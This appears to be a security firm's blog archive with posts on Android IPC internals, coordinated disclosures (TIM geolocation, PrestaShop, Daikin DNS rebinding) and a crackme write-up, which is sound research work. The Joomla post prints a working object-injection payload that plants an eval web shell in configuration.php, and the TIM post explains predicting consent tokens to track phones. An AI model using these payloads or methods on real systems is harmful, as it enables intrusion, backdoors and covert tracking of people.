Hacktive Security Blog

Android Internals - part 1: IPC


In the last few months I was studying Android Internals in order to perform some security research in the future. I first tried to focus myself in its architecture and fundamentals components, starting from the bootloader stage to the Framework, in order to have an initial high level picture. Then, I focused on the Binder component for two reason

  • It is one of the main Android components, vital for its functionalities, as it is the IPC core.
  • In that period Google P0 discovered a 0day in the wild used in a chain to compromise the Android System. The Binder was impacted allowing LPE as root also from an isolated process (that means it is for sure a good attack vector)

During this studying process, I took a lot of messy notes, so after 1/2 months of not working anymore on Android, I took them back, put them in order, studied again (adding more messy notes) and decided to write this little series of articles. So, especially the second and the third sections contain theory concepts, high level functionalities and a lot of source code references. Parts of these articles can be considered as a ‘Code Walkthrough’, so having the actual Android Source Code (the online Android repository is enough) is highly suggested to understand the flow.
I didn’t want to repost other people's work, so this ‘code walkthrough’ is something different that honestly could help me when I was starting on it, so I hope it can help others too. It could not be perfect, so feel free to appoints something at <alessandro [at] hacktivesecurity.com> and I will of course consider them.
By the way, all references are at the bottom of each article.

In this first section, I will introduce some basic Android concepts that will be useful for next chapters. The second will deepen Binder interactions and the servicemanager. And last, but not least, the client and service IPC implementation and usage.

IPC Introduction

Inter-Process Communication is a necessary and indispensable feature for every Operating System in order to let processes communicate with each other. That means, if Process A needs to communicate with Process B (synchronize, share data, .. ), the OS must provide capabilities to do that.
We have multiple and different solutions that we can apply depending on the underlying OS, they can be through Pipes, Sockets, Shared Files, Shared Memory and more. These implementations are out of scope of this article’s series, so these are well-written references x

Linux: https://www.geeksforgeeks.org/inter-process-communication-ipc/
OSX: https://developer.apple.com/documentation/uikit/inter-process_communication
Windows: https://docs.microsoft.com/en-us/windows/win32/ipc/interprocess-communications

In order to go over the IPC implementation in Android, let’s make a short introduction to Android functionalities and some security aspects that will be useful during the reading.

Android and Linux

Starting from the classic. Android is a Linux kernel based distribution aimed for mobile devices. I cannot explain better than how was explained in ‘Android Internals’ by ‘Jonathan Levin’:

“Android's novelty arises from what it aims to provide - not just another Linux distribution - but a full software stack. The term "stack" implies several layers. Android provides not just the basic kernel and shell binaries, but also a self-contained GUI environment, and a rich set of frameworks. Coupled with a simple to use development language - Java - Android gives developers a true Rapid Application Development (RAD) environment, as they can draw on prewritten, well-tested code in the frameworks to access advanced functionality - such as Cameras, motion sensors, GUI Widgets and more - in a few lines of code”

One of the biggest differences with Linux is Bionic has its core runtime C library, instead of the standard GNU libC (Glibc). Bionic is lighter and more focused on Android’s needs. There are a lot of changes between them. Today we are focused on IPC, so the difference in our interest is the omission of the System-V IPC (message queues, shared memory and semaphores), that are omitted because Android chooses its own IPC mechanism, the Binder. The Binder is a kernel component, the core component of IPC, that enables different processes to communicate with each other using a client-server architecture. It’s the core theme of this series, so we will deppen in later chapters.

Dalvik and ART

Just to be aligned, let’s spend some words about the Dalvik Virtual Machine and ART, which are the core of Android.
If you know how Java works, you also know that in order to execute the code you need the JVM (Java Virtual Machine) that will execute the compiled bytecode, translating it to machine code.
Well, Dalvik follows the same concept, but it’s not the same!
The Dalvik VM runs a different type of bytecode, called DEX (Dalvik Executable) that is more optimized for efficiency in order to run faster on low performance hardware as it is for mobile devices. It is a Just In Time (JIT) compiler, that means that the code is compiled dynamically when it needs to be executed.
Android RunTime (ART) is used for the same purpose: translate bytecode to machine code and execute it.
By the way, it uses a different approach instead of JIT compiling , it uses Ahead Of Time (AOT) that translates the whole DEX into machine code (dex2oat) at installation time when the APK is installed or when the device is idle. That means that is much more faster at execution time, but also requires more physical space.

Dalvik is the predecessor of ART. ART has been introduced in Android 4.4 (KitKat) and started to use hybrid combination of AOT and JIT from Android 7.0 (Nougat), starting to follows a different compilation approach, synthesizing:

  1. The first few times the application runs, the app is executed through JIT compilation.
  2. When the device is idle or charging, a daemon performs compilation using AOT on frequently used code, based on a profile compilation generated from the first run.

You can find these profiles for each installed application inside /data/dalvik-cache/profiles/:


Android Framework and abstraction

Developers can access complex functionalities with few lines of code using pre-written code that resides in the Framework, delivered in packages that start with com.android.* . These packages can be for different scopes, such as location and application support (android.location and android.app) Network (android.net) and in our interest, IPC support and core OS services from android.os. (https://developer.android.com/reference/packages.html for more).
This is a high advantage from the Security Perspective. Usually, developers do not have to bother with native languages (avoiding common memory corruption issues) and instead use a well tested code, also when they need to perform advanced or low level functionalities (such as access an hardware peripheral) they can stay in an High Level, Memory Safe language.

Let’s take a quick example on how to interact with the WiFi component, supposing we need to retrieve the actual WiFi state:

import android.net.Wifi
// Get an handle to the WiFi Service
WifiManager Wifi_manager = (WifiManager) GetApplicationContext().getSystemService(Context.WIFI_SERVICE);
// Get the WifiState

With these 2 lines of code we have completed our task:

  1. Get a handle to the WiFi service. The return result of getSystemService() is a generic Object (the handle to the service) that needs to be casted based on the desired service.
  2. From the retrieved manager, we can directly call the desired function, that will perform an IPC and return the result back.

That’s how Android abstract service interactions, enhancing security by simplifying application’s code.

By the way sometimes, due to performance reasons too, there is the necessity to run native code inside an application. This is performed using JNI, that permits to call native functions inside a shared library in the application context. This is pretty common for messaging applications (for example, whatsapp uses PJSP, a C library, for video conferences).

Java Native Interface

As we said, sometimes there is the necessity to use native code such as C/C++ from standard applications. This is permitted using the JNI (Java Native Interface) that lets Java call native functions without drastic differences. The native code is exported in shared libraries inside the lib/ folder (of the APK) where we have binaries compiled for multiple architectures (32/64 bit ARM, x86/x86-64 ), and the the underline system will choose the appropriate one (based on its hardware).

Let’s take an example with Whatsapp:


In this case, inside the lib/ folder there is only the armeabi-v7a folder. That’s because my test device is a 32 bit ARM (https://developer.android.com/ndk/guides/abis) and the system optimized physical space removing unused binaries compiled for other platforms.
These native functions are interesting from a security perspective because they can include memory corruption issues.
In order to track native calls, we can search through the Java code (decompiled) for native declarations:


That’s how a native function is declared, with the native keyword, and later on called as it is a normal Java function.
If you want to extract exported symbols from shared libraries, the nm utility can be come handy (nm -D * | grep <func_name> inside the specific ABI folder can be enough).

If you find an exploitable memory corruption in one application, you also have to consider the application sandbox. If you successfully compromise an application through a remote code execution, you are closed in a sandbox, where you can interact only with application’s related files and functionalities (and its declared android permissions). Of course, this can be part of a chain, with a foothold inside the system you have more attack surface in order to elevate privileges and compromise the system.

Application Sandbox

CVE-2019-11932 is a Whatsapp Remote Code execution caused by a memory corruption while handling GIF animations (here is a demo POC: https://www.youtube.com/watch?v=loCq8OTZEGI). This was a critical issue because, also if you are in a sandbox, you can access all whatsapp files (chat databases, backup, media , ..) and, as we know, nowadays whatsapp is the main messaging application.
As we said, Android is a Linux based OS and inherits a lot of its concepts. In this way, Android uses kernel-level Application Sandbox using the UID (Unique User ID). Every application on Android has its own UID and GUID for file permissions and running application process (UID starts from 1000). All applications have a dedicated workspace in /data/data/<app_name> created at the installation time where permissions permits only the application user to read and write in these files:


As you can see, only the user u0_a106 (10106, the UID for the WhatsApp application in my Droid) can access these files, meaning that any other application cannot read its content (only him and the root user).
For some applications (like browsers) there is an additional isolation that literally ‘isolates’ the application using a different UID. These IDs are referred in the Kernel source code as AID_ISOLATED_START (which is 99000) and AID_ISOLATED_END (99999) and limit service interactions. For example, the following snippet is part of the Android Kernel in order to obtain an handle to a service:


uint32_t do_find_service(const uint16_t *s, size_t len, uid_t uid, pid_t spid)
   //find_svc will retrieve a service info structure
   struct svcinfo *si = find_svc(s, len);
   //check if the requested service allow interaction from isolated apps
   if (!si->allow_isolated) {
       // If this service doesn't allow access from isolated processes,
       // then check the uid to see if it is isolated.
       uid_t appid = uid % AID_USER;
       if (appid >= AID_ISOLATED_START && appid <= AID_ISOLATED_END) {
           return 0;
return si->handle

We will deepin in next chapters about the full process to obtain a service handle, but from this snippet you can see where the isolation check is performed. A check is done in the svcinfo structure (structure with service information such as the name, the isolation level and more) and if the target service is not allowed to be called from isolated processes (the caller UID is between AID_ISOLATED_START and AID_ISOLATED_END) the service handle is not returned.

For example, this is the chrome browser inside an isolated process:


You can note that the user id is 99008 (>99000), meaning it is an isolated application process.


In this first article, we introduced basic Android concepts and security aspects that will become handy for next chapters. In the next article, we are going to talk about the Binder, its transactions and the servicemanager.



(Alessandro Groppo)

A true story of mobile device geolocation


During the monthly research activity, in accordance with the relative Respnsible Disclosure program, we found and went in depth with an interesting security issue allowing geolocation of mobile devices using TIM, an Italian communication provider. A malicious user could find the TIM customers geo-position by forcing the approval mechanism to allow the geopositional tracking. By the way, thanks to TIM and its Responsible Disclosure program that allows several researchers to ethically disclose findings since 2018.

The research has been focused on TerminalLocation API service provided by TIM on its API Store.
TerminalLocation lets retrieve location of arbitrary devices by their phone numbers.
Below a service description provided by TIM:

“With TIM API - TerminalLocation track and monitor the location of mobile devices using geographic coordinates (latitude and longitude), date and time. Location information are valid for TIM customers.“

Let's see how it works.

Overview of the service

In order to use the API service, we needed to sign up and then create a test application to retrieve an API key.
Hence, you can make a GET request to /try/location/v1.1/<PHONE_NUMBER> including the API key in the request header. If this is the first request targeting the phone number, an SMS is sent asking for an authorization approval to notify the current position at any time.



In order to accept being geolocalized, the user has to click on the link in the message, which contains a base64 encoded user-token, and then click the confirmation button.


This action triggers a GET request to /tim/api/unsecured/consenso/<user-token>.
Everything seems ok, users have to agree in order to use this service. But things turned out for the best, almost...


We started to collect multiple tokens and we were surprised about their low entropy.
The base64 string sent within the link hides a 24 character token with both static and at first glance random values. If we break up some tokens, obtained within the same day and with few hours of delay, we noticed the following schema:
(next day)

The schema may be decoded as follows:
First part: the 4 Xs are always the same, they may be a static value
Second part: the 4 As, Bs, Cs and Ds are random characters
Third part: the 15 Ys and Zs are constants changing day by day; it may be related to the current date
Fourth part: the E, F, G, H are random characters

We have confirmed that these tokens are not randomly generated and they have pretty easylogic behind.

The crucial test consisted to send requests for 2 tokens in a very short period of time (2 seconds):

They differ for just 3 characters and they are incremental!
At this point, we could easily guess with more confidence how tokens are generated: The first 4 characters are always the same, then 4 characters could be related to a timestamp, because they are consecutive, then 15 characters related to the current day and finally 1 random character in the last position.
With this insight we could create an enumeration tool, but another key point was reducing the character set:
A request with a syntactically correct token returns an error message containing “agreement not found":


With a malformed token (invalid length or invalid character set) it says Invalid parameters:


After few fuzzing requests we could determine that all characters were in a hexadecimal format, reducing a lot the enumeration (16 characters instead of 36 characters of all lowercase alphabet plus numbers).


The exploitation has been pretty easy:

  • Receive a token on our phone via SMS
  • Send the second token to the victim after few seconds
  • Deduce victim’s token from our one.
  • Localize the phone!

In order to automate this process, we wrote a few lines in python.
First, request two tokens with two seconds of delay (the first token to us and the second to the victim).
The timing is crucial because of its consecutive logic based on some sort of timestamp.


Attacker’s token:


Now we have the token generated before the victim’s one and we can easily predict it with an enumeration with 2 characters starting at the 6th position and one last character.


Thanks to multi-threading and, of course, low entropy, this enumeration took less than 1 second to retrieve the victim’s token.
With that token, we can now accept the agreement to the service with a PUT request to /tim/api/unsecured/consenso/<token>?operazione=APPROVA and geolocate the victim phone:



Responsible Disclosure:

14/08/2019 - Vulnerability found / Vendor contact
14/08/2019 - Automatic response
27/08/2019 - Vulnerability acknowledge
25/10/2019 - New fixed release planned at the end of November
03/12/2019 - Fix released

(Alessandro Groppo)

Rusty Joomla RCE



During one of our research activities, we discovered an undisclosed PHP Object Injection on Joomla CMS from the release 3.0.0 to the 3.4.6 (releases from 2012 to December 2015) that leads to Remote Code Execution.
A PHP Object Injection was discovered in the wild and patched in the 3.4.5 version (CVE-2015-8562), however, this vulnerability depends also a lot on the PHP release installed becoming not really trusty for all environments.

Comparing this RCE with CVE-2015-8562:
+ It is completely independent from the environment, becoming more reliable;
+ Vulnerable from the 3.0.0 to 3.4.6 (just one more minor release, not so much by the way);
- Few releases vulnerable compared to CVE-2015-8562.

However, the fun part of this vulnerability was the exploitation. There aren’t a lot of blog posts about some more advanced and manual exploitation of PHP Object Injection (except for some good resources from RIPS) so this paper can be useful while exploiting it in other contexts.

How Sessions works

Joomla sessions are stored in the database as PHP Objects and they are handled by PHP session functions. It is an interesting attack vector because sessions are also stored for unauthenticated users so an Object Injection there can lead to unauthenticated RCE.

Functions read() and write() defined in ‘libraries/joomla/session/storage/database.php’ are set by the session_set_save_handler() in order to be used as read and write handlers for the session_start() call at ‘libraries/joomla/session/session.php:__start’

This is an example of a classic Joomla (before 3.4.6) session stored in the database for an unauthenticated user (at table __session):


There are many objects defined, but the most interesting thing is how input parameters are handled in the session.
If we make a regular action with parameters, these ones and the result message of the action, are stored in the session object like this:


When we perform POST requests in Joomla we usually have a 303 redirect that will redirect us to the result page. That’s an important note for the exploitation, because the first request (with parameters) will only cause Joomla to perform the action and store (e.g. call the write() function) the session, then the 303 redirect will retrieve (e.g. call the read() function) it and display the message back to the user.

The vulnerability

This is the code for the read and write functions (just remove unnecessary code).


The write function accept 2 parameters, the session_id (from the cookie) and the serialized object. Before storing data into the database there is an interesting replace of ‘\x00\x2a\x00’ (chr(0).’*’.chr(0)) with ‘\0\0\0’. That’s because MySQL cannot save Null Bytes and $protected variables are prefixed with ‘\x00\x2a\x00’ in the serialized object. 

On the other hand, when reading, the read function will replace ‘\0\0\0’ with ‘\x00\x2a\x00’ in order to reconstruct the original object.

The main issue with this replace is that it’s replacing 3 bytes with 6 bytes:


This behaviour has been introduced from the 3.0.0 version and affecting Joomla until 3.4.6. Starting from 3.4.7 the piece of code is still present but the session is base64 encoded and stored in the database.

As I said before, we can manipulate the session object through action parameters. In this way, we can inject ‘\0\0\0’ that will be replaced from the read function with 3 bytes, invalidating the object because of incorrect size.
If we take the login form as a target and we put ‘my\0\0\0username’ in the username field, we end up with the following part of object in the database:


When the session object is read from the read function, ‘\0\0\0’ will be replaced as demonstrated before, assembling the following value:

s:8:s:"username";s:16:"myN*Nusername" --> Invalid Size

The replaced string is only 13 bytes long but the declared string size is still 16!
We can now take this ‘overflow’ to our advantage and forge a new object that will lead us to the final goal... RCE! :)


In order to trigger our arbitrary object and achieve RCE we need two parameters in a row, the first one will cause the ‘overflow’ and the second will contain the last part of the exploit. The perfect target (included in a default installation) is the login form with the ‘username’ and ‘password’ fields.

That’s the plan:
- Overflow the username field with enough ‘\0\0\0’ in order to land in the password field
- Reconstruct a valid object
- Send the exploit
- Trigger the exploit (with the redirect)

We know that we can downsize the string size. By doing that on the username field (that precede the password) we can fake it and let it ends inside the next parameter under our control.


As you can see, the distance from the end of the username value and the start of the password is 27 bytes. The vulnerable replace let us decrease the value with a multiple of 3 (6 bytes - 3 bytes) so we need at least 8 times ‘\0\0\0’ in the username field that will cause a simple padding of 1 extra character in the second parameter in our exploit (in the POC I used 9 times \0\0\0 to be sure).

In bold, what unserialize read for the ‘username’:

(in database)

(after read and replace)

(Achieve Object injection):

We have a stable way to inject an Object, now it’s the time to craft it.
We can use the payload from the CVE-XXXX exploit as a starting point, however it requires some modification:


This payload will instantiate a JDatabaseDriverMysqli object and assign an array of other objects in the disconnectHandlers attribute (a protected array variable). This is because the defined __destruct of this class will call $this->disconnect(), that leads to an interesting call_user_func_array():


For each value in the disconnectHandlers array a call_user_func_array() is performed with a reference to the object (&$this) as a parameter. It’s a good gadget, but we only have control over the function call and not on parameters. That’s where SimplePie object came in our help.

In SimplePie::init (declared in libraries/simplepie/simplepie.php) we have different interesting gadgets, like the following:


This is much more suitable, because we have a call_user_func with both function and parameter values under our control.
However, that’s why I think the original payload wasn’t working, there is a condition that must be met in order to receive this line of code: $this->cache must be declared and $parsed_feed_url[‘scheme’] (the parsed url from $feed_url) needs to contain something.
Bypass this condition was not so difficult. At first, with cache_name_function set to ‘system’, something like ‘https://something/;id’ was enough. The first command fails but the semicolon do the rest.

However, while developing the Metasploit module, I was not so happy about this solution. If the target environment have disabled functions like system, exec, shell_exec, etc., you cannot do a lot with this exploit, and I wanted to make something more suitable for more environments.
So, I moved back to the assert function and see if I could achieve PHP code execution while respecting the condition. The only think the condition is checking for is a string that contains a valid schema (e.g. http:// ), but this will cause a syntax error. In order to bypass it we can chain an OR (||) statement and trap the schema into a variable, like this:

<PHP CODE> || $a=’http//’;

We were limited again against some special characters (like ‘?’) and from the assert function, so we need a way to move on a less restrictive environment. The first idea was to create a php file in the root directory with an eval(), but without the ‘?’ the web server will not interpret our code. A ‘configuration.php’ file is present in the root directory. It is nothing more than a class declaration with configuration parameters in it. We can append an eval at the end of this file and use it to execute PHP code with the following payload:

file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';

That will result in the following call:

call_user_func("assert","file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';")

At the end, this is the final object:

s:2:"HS":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:125:"file_put_contents('configuration.php','if(isset($_POST[\'test\'])) eval($_POST[\'test\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Now we have everything necessary to develop a working exploit. Putting stuff together, we can send the exploit using the login form, this will store the malicious object into the database.
Then we can follow the redirect from the first response and the payload will be retrieved from the database and unserialized from the session_start() function and .. we got RCE!






(Alessandro Groppo)

Prestashop <= RC 1 - Insecure Direct Object Reference

During a security assessment, we found an Insecure Direct Object Reference on Prestashop. In particular, the finding could allow an attacker to leak personal information such as first name, last name, phone number, shipping and invoice address.

This vulnerability affects all versions before v1.7.6.0 RC2 and was referred as BUG FIX #14444 in the Changelog. (https://assets.prestashop2.com/en/system/files/ps_releases/changelog_1.7.6.0-rc2.txt)


The vulnerability resides in the checkout process, during the selection of the delivery and invoice addresses. These addresses are bound to a global incremental ID and are sent without checking that the relative ID belongs to the current user. This could lead to an information leak affecting customers data.

As previously mentioned, all the versions <= RC2 are affected but the payload is not the same for all of them. On older versions (such as v1.6.1.17) addresses can be leaked in the second stage of the checkout process if the "final summary" option is enabled (this option shows delivery and invoice address) before the payment.

In the latest version, in order to leak other personal information the whole checkout process must be completed and then the leaked information will be shown in the orders history.


01/07/2019 : First contact with the Vendor

01/07/2019 : Acknowledge from the vendor

05/07/2019 : Patch released

09/07/2019 : CVE-2019-13461

(Alessandro Groppo)

Daikin Emura Series - Arbitrary Remote Control via DNS Rebinding

There is a lot of hype around DNS rebinding vulnerability and vulnerable IoT devices, including home cameras, air conditioners or climate control devices; this flaw is mainly caused by the lack of origin checking on HTTP requests.

DNS Rebinding Attack

DNS Rebinding allows an attacker who has control on a DNS server to directly access a device inside of the internal network of the victim.

Normally, these kind of attacks are mitigated by the Same-Origin policy header, implemented by most of the browsers, blocking every attempt to load external content that does not belong to the original domain.

The idea of the attack is to configure an evil DNS server to answer to a specific A query returning two different IPs for two consecutive requests; the first one will return the attacker's IP with a short TTL (1 sec), the second one will return the original IP of the device.

Since most browsers use different caching system with different expiration time, a minimum amount of seconds is needed to perform the attack; we will need to let the victim stay on our website for almost 60 seconds (on Firefox, it may change with other browsers).




The attack

First, we configure the DNS server using FakeDns tool; we just need one entry for our attack scenario.

NOTE: In our PoC we used NAT addresses, an internet address can be used for the fake DNS server.


Now the evil DNS server will respond to A query for rebind-example.voidzone.it host, the first parameter before the '%' is the TTL.

Next step is to build an HTML page, entertaining our user with a youtube video and waiting for the timeout; when this occurs, an XMLHttpRequest is sent to the device.



And, after 60 seconds we get the response from our Daikin device:


Video of the attack


Fix Available

The vulnerability has been fixed in the version 3.3.6 of the firmware.


I would like to thank Mr. Pieter-Jan Decherf and the Daikin Europe team for the quick responses and updates on the remediation measures implemented.

Responsible disclosure time-line

  • 25/07/2018 - First contact with Daikin Europe
  • 26/07/2018 - Got response, asking for report
  • 07/08/2018 - Report+PoC sent
  • 08/08/2018 - Vulnerability confirmed
  • 14/09/2018 - Vulnerability will be fixed by the end of October
  • 31/10/2018 - Official update released (firmware 3.3.6)
  • 19/11/2018 - Paper draft has been sent to Daikin Europe team
  • 13/12/2018 - CVE-2018-20139 assigned

Building reversing skills, crackme level 6 [write-up]

I don't usually play CTFs, but this time i wanted to improve my radare2 and reversing skills.
All crackme challanges can be found here.
Levels from 1 to 3 are really entry-level, from 4 ahead start to be interesting.

As the README says: "It's reverse engineering, not cracking.". That means we don't have to patch the binary in order to get the "flag". Instead, we have to reverse engineer it, understand the algorithm, reproduce it and get the right password.

First look

First of all, let’s take a look at what it does just by executing it:


It’s telling us the usage, so following it we reach a ‘Password KO’:


Ok, our aim is to guess the password, so let’s open it in radare2 and let’s see what we can get.
Running the command iz, we can inspect for some useful strings:


We don’t see anything really useful from strings, maybe the string “this_might_be_related”, so let’s appoint it but go ahead, we can return to this string later.

With the afl command from radare2, we can get the functions list:


The function check_password seems interesting, but first of all let’s see what our main function do.

Main Function

After checking the correct usage of the program, the main call the check_password function and test the result of it.


If the return value of check_password is different from zero, then it will output “Password KO”. Else, if the return value is 0, it will output “Password OK”.

  • Our aim is to return 0 from check_password, in order to print “Password OK”

Check Password

Password Length

The check_password function checks if the password length is 0x15 (21 in decimal): if the length is different, than it will return -1 to main, resulting in the bad password case.


If the password length is 0x15, the decryption routine can start.

We can also see some variable initialization that can be useful in further analysis.

  • local_28hinput_pwd - Input password
  • local_4hlen_input - Input password length

We rename these variables to have meaningful names. This will help us later. 

Also we have 2 zero initializations, that we have to take note:

  • local_8h
  • local_10h

So, we can add a condition to get the password:

  • Password must be 0x15 (21) of length

Returning Phase

First to deal with the decryption phase, we want to understand what we are returning back.


The return value is local_8h, that is the result of the addition with itself and local_11h.


  • Local_8hreturn_result - The return value of the function
  • Local_11hsum_return_result - A value that is continually added to the return value
  • Local_10hglobal_index - An index (deduced from the incrementing at the end of the loop)

The condition will jump back (to the loop) if the value of local_10h (the index) is lower than the length of the input password (that must be 0x15).

That’s mean that we are executing this loop 0x15 (21) times.

From these few lines of assembly we can try to produce a more explanation pseudocode:

Pseudocode 1.0 Pseudocode 2.0              
  1. eax = local_11h
  2. local_8h = local_8h + eax
  3. local_10h = local_10h+1
  4. eax = local_10h
  5. if (eax < local_4h)
  6. repeat
  7. else
  8. eax = local_8h
  9. ret
  1. return_result += sum_return_result
  2. global_index += 1
  3. if (global_index < len_input)
  4. repeat
  5. else
  6. return return_result


If we want to return 0 from the check_password function, return_result must be 0, so also sum_return_result must be 0 at each cycle of the loop.

Decryption Phase

Now we have to deal with the central part of the routine, the decryption.

First of all, this phase is executed 21 times (we know this from the returning stage step described above) and contain:

  • An initialization block.
  • 3 identical loops.
  • Intermediate blocks between the first and second one, the second one and the third one.

After the third loop we have the Returning phase (already described above).
The base concept can be illustrated as follow:


Init stage

At the init stage we are just initializing sum_return_result with 0, and copying the value of the global index into the local_ch.

Local_ch is a local index of the loop stage, so we can rename it in index


Loop stage

At this stage, we have a xor operation between each single character of the input password and sum_return_result. The xor result is placed into sum_return_result, and then recalculated with a xor between it and the next character of the input. The ‘indexing’ process is handled by an idiv instruction, that get the reminder between the index of the loop and input_len:


The flow of the loop stage can be drawn as:

undefinedwhere sum is the abbreviated version of sum_return_result.

In the case of the first loop encountered, where sum_return_result is previously initialized with 0, if we suppose that the first character is an A (0x41 hexadecimal) we have:

0x00 ^ 0x41 = 0x41 [odd]

0x41 ^ 0x41 = 0x00 [even]

0x00 ^ 0x41 = 0x41 [odd]

0x41 ^ 0x41 = 0x0 [even]

That’s mean, if we iterate for 42 times (odd), in sum_return_result we will have the character value. so the output of the first loop will always be a character of our input password.

In the following 2 loops, with sum_result_return modified by the previous one, the flow is the same described above, but the return value is no more the original character, but a xored version of it.

Intermediate stage

In the Intermediate stage, we are xoring the sum_return_result (returned from the loop stage) with a key (obj.key). The result go into sum_return_result. In the second intermediate block (after the second loop), we are doing the same but with a different key (str.this_might_be_interesting).

Then, we are moving into index (the local index used in loop stages) the value of global_index, and jump to the next loop.


Extract keys

We need to dump both keys used in the xor operation at intermediate levels, in order to write the decryption algorithm.

We can get these keys in different methods, one way is to use the examine command from r2:


High level

Putting all together, this can be the illustrative flow (semplified):


To better play and understand the algorithm, i wrote the same algorithm at higher level (python).

The loop, in python, looks like this:


And we are integrating all like this: undefined

I could delete the index value and use global_index instead, but i prefer to mantain the main structure of the original function

The rest of the code is similar, and included in a global loop (repeating it for 0x15 times).

With some prints at the end of each loop and intermediate blocks, we can get an output like this.


As we can see, the output of each block (a loop or intermediate) will be a xor operand for the next block.

The “End of global loop sum” will be the value added at the returned result at the end.

So, our aim is to get a 0 here.

The entire global loop can be translated with the following expression:

(((char ^ obj.key) ^ char) ^ str.key) ^ char

We need that this expression returns 0, so we can write an equation:

(((char ^ obj.key) ^ char) ^ str.key) ^ char = 0

Where, at the last XOR, the value of previously operations must be the char value, in order to return 0 :


We can split this expression in four operations:

  1. char ^ obj.key = res1
  2. res1 ^ char = res2
  3. res2 ^ str.key = res3
  4. res3 ^ char = res_final

If the final result (res_final) must be 0: 

  • The 4th operation must contain in res3 the value of char (a xor with same values is equal to 0)
  • The 3rd operation must return the character value.
  • The 2nd operation must return a value that xored later in operation 3 will return the char value.
  • The 1st operation must return a value that xored in operation 2 and then 3 will return the char value at the last operation.

With this knowledge, we can write the script to generate the password.

Generate the password

Now that we know how our input is “decrypted”, we can generate it with a little script.


Mainly, this little script will calculate the expression with char values starting from 0x0 to 0x100 (256).

When the result of the expression is equal to 0, then it will append the character to an array that will contain the complete password, and break (skip to next character).

From the script:

  • Obj_key and str_key are the keys extracted before.
  • The first while is 0x15 because is the length of the needed password (and also the length of the key arrays)
  • In the second while, 0x100 is the maximum value to put into a char (is enough to find the correct value).

And the result will be:




Got it !

Just for fun

If we execute our previously script (the algorithm in python) with the correct password (dude_you_killed_it_gg), now the output will be:


As we can see, at the fourth operation we now have the xor between the same character, resulting in 0x0. The same with the second loop and so on until the end of the global loop.






Home ← Older posts